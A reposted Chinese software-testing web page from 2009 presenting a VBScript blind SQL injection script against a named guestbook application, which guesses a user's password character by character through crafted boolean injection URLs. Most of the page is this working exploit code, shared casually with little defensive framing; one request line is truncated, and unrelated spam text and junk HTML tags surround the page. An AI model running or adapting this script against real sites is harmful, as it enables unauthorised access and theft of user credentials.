• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
    • 軟件測試技術
    • 軟件測試博客
    • 軟件測試視頻
    • 開源軟件測試技術
    • 軟件測試論壇
    • 軟件測試沙龍
    • 軟件測試資料下載
    • 軟件測試雜志
    • 軟件測試人才招聘
      暫時沒有公告

    字號: | 推薦給好友 上一篇 | 下一篇

    用vbs來寫sql注入等80端口的攻擊腳本

    發布: 2009-6-09 14:12 | 作者: 不詳 | 來源: 測試時代采編 | 查看: 168次 | 進入軟件測試論壇討論

    領測軟件測試網

    非常古老且經典的一個,呵呵,試了下:
    http://192.168.101.16/txl/ShowThrea...D=7%20and%201=1
    http://192.168.101.16/txl/ShowThrea...D=7%20and%201=2
    數據表結構我都知道,用戶名也都可以在用戶列表看出來,那么這個例子就演示一下猜解密碼,什么?太簡單了?只是個例子嘛,別笑哦~~寫的時候也不是一帆風順~~寫的很差,尤其循環里如果探測到正確的就應該退出循環,但是想不起來怎么退出了(break?exit?),不過對于這個密碼明文存放的程序來說已經夠了,一個6位的密碼用了15秒左右猜出,改進下會提高不少,但效率上始終和perl不能比了。
    要使用這個對象要裝Microsoft ACT是Visual Studio.Net里一個工具,我在另一臺機器上直接用regsrv32注冊相關的dll失敗了,所以還是要裝一下。

    '*********************************************
    '風月同學錄V1.60漏洞測試腳本 by luoluo
    '注意:需要裝Visual Studio.Net里的ACT工具
    '*********************************************
    Option Explicit
    On Error Resume Next

    Dim Test
    Dim o_Response
    Dim Wrong
    Dim i,j,k
    Dim pwd_len
    Dim pwd
    Dim strings
    Dim username

    '從命令行得到要破解的人的用戶名
    If WScript.Arguments.Count > 0 Then
    username = WScript.Arguments(0)
    Else
    username = "luoluo"
    End If

    WScript.Echo "開始探測,請等待... ..."

    '正確頁面的標志,這個隨便找的,因為只要是兩個頁面返回的不同部分就可以了
    Wrong = "luoluoisachinesehacker"
    '存放密碼
    pwd = ""
    '密碼的字符范圍
    strings = "0123456789abcdefghijklmnopqrstuvwxyz"

    '建立對象
    Set Test = CreateObject("ACT.Test")

    '得到用戶的密碼的長度
    For i = 0 to 128 step 1
    '發送請求,返回一個Response對象,地址長可以用&分成段,那樣好看一些
    Set o_Response = Test.SendRequest(" & i & "'%20and%20userid='" & username & "')")

    '如果返回的頁面里有正確標志那么長度就對了
    If instr(o_Response.Body, Wrong) <> 0 Then
    pwd_len = "" & i & ""
    End If
    Next

    '猜解用戶的密碼
    For j = 1 to pwd_len step 1
    For k = 1 to len(strings) step 1
    Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20left(userpwd," & j & ")='" & pwd & mid(strings,k,1) & "'%20and%20userid='" & username & "')")

    If instr(o_Response.Body, Wrong) <> 0 Then
    pwd = pwd & mid(strings,k,1)
    End If
    Next
    Next

    If err Then
    WScript.Echo "錯誤:" & Error.Description
    Error.Clear
    Else
    '輸出密碼
    WScript.Echo "密碼:" & pwd
    End If

    Set Test = nothing

    延伸閱讀

    文章來源于領測軟件測試網 http://www.kjueaiud.com/

    33/3<123

    關于領測軟件測試網 | 領測軟件測試網合作伙伴 | 廣告服務 | 投稿指南 | 聯系我們 | 網站地圖 | 友情鏈接
    版權所有(C) 2003-2010 TestAge(領測軟件測試網)|領測國際科技(北京)有限公司|軟件測試工程師培訓網 All Rights Reserved
    北京市海淀區中關村南大街9號北京理工科技大廈1402室 京ICP備2023014753號-2
    技術支持和業務聯系:info@testage.com.cn 電話:010-51297073

    軟件測試 | 領測國際ISTQBISTQB官網TMMiTMMi認證國際軟件測試工程師認證領測軟件測試網

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>